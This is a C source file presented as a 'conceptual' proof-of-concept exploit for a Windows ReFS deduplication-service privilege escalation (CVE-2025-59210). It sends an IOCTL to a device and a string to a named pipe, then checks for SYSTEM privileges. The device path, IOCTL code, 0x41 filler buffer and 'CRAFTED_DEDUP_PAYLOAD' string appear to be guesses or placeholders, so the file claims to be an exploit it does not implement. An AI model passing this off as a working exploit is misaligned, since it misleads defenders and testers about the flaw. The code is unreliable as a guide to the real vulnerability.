/*
* CVE-2025-59210 - Windows ReFS Dedup Service EoP PoC (Conceptual)
* This is a conceptual proof-of-concept demonstrating the exploitation pattern
* for the ReFS Deduplication Service local privilege escalation vulnerability.
*
* WARNING: This code is for educational and authorized testing purposes only.
* Unauthorized use of this code against systems you do not own or have
* explicit permission to test is illegal.
*/
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "psapi.lib")
// ReFS Dedup Service related constants
#define REFS_DEDUP_DEVICE_PATH "\\\\.\\Dedup"
#define IOCTL_DEDUP_OPERATION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Trigger the vulnerability by sending crafted IOCTL to the dedup service
BOOL TriggerVulnerability() {
HANDLE hDevice = INVALID_HANDLE_VALUE;
DWORD dwBytesReturned = 0;
BOOL bResult = FALSE;
// Step 1: Open a handle to the ReFS dedup device
hDevice = CreateFileA(
REFS_DEDUP_DEVICE_PATH,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ReFS dedup device. Error: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Successfully opened ReFS dedup device handle.\n");
// Step 2: Prepare crafted input buffer to trigger the vulnerability
// The exact buffer structure depends on the specific flaw in the dedup service
BYTE inputBuffer[1024] = {0};
BYTE outputBuffer[1024] = {0};
// Fill input buffer with crafted data to trigger the EoP path
// This may involve setting up fake structures that the service will process
// with SYSTEM privileges
memset(inputBuffer, 0x41, sizeof(inputBuffer));
// Step 3: Send the malicious IOCTL request
bResult = DeviceIoControl(
hDevice,
IOCTL_DEDUP_OPERATION,
inputBuffer,
sizeof(inputBuffer),
outputBuffer,
sizeof(outputBuffer),
&dwBytesReturned,
NULL
);
if (bResult) {
printf("[+] IOCTL request sent successfully.\n");
} else {
printf("[-] IOCTL request failed. Error: %lu\n", GetLastError());
}
// Cleanup
CloseHandle(hDevice);
return bResult;
}
// Alternative: Exploit via named pipe communication with dedup service
BOOL ExploitViaNamedPipe() {
HANDLE hPipe = INVALID_HANDLE_VALUE;
DWORD dwBytesWritten = 0;
DWORD dwBytesRead = 0;
char szPipeName[] = "\\\\.\\pipe\\dedup";
// Attempt to connect to the dedup service named pipe
// Wait for the pipe to become available
if (!WaitNamedPipeA(szPipeName, 5000)) {
printf("[-] Named pipe not available. Error: %lu\n", GetLastError());
return FALSE;
}
hPipe = CreateFileA(
szPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[-] Failed to connect to named pipe. Error: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Connected to dedup service named pipe.\n");
// Send crafted payload to the dedup service
char payload[] = "CRAFTED_DEDUP_PAYLOAD";
WriteFile(hPipe, payload, sizeof(payload), &dwBytesWritten, NULL);
CloseHandle(hPipe);
return TRUE;
}
// Verify current privilege level
BOOL IsRunningAsSystem() {
BOOL isSystem = FALSE;
HANDLE hToken = NULL;
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
// Check if running as SYSTEM (SID S-1-5-18)
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
AllocateAndInitializeSid(&ntAuthority, 1, SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0, &pSystemSid);
isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid);
FreeSid(pSystemSid);
}
free(pTokenUser);
CloseHandle(hToken);
return isSystem;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-59210 - ReFS Dedup Service EoP PoC\n");
printf("[*] Current privilege level: %s\n",
IsRunningAsSystem() ? "SYSTEM" : "User");
printf("[*] Attempting to trigger vulnerability...\n");
// Attempt exploitation
if (TriggerVulnerability()) {
printf("[+] Vulnerability triggered successfully.\n");
}
ExploitViaNamedPipe();
printf("[*] Done.\n");
return 0;
}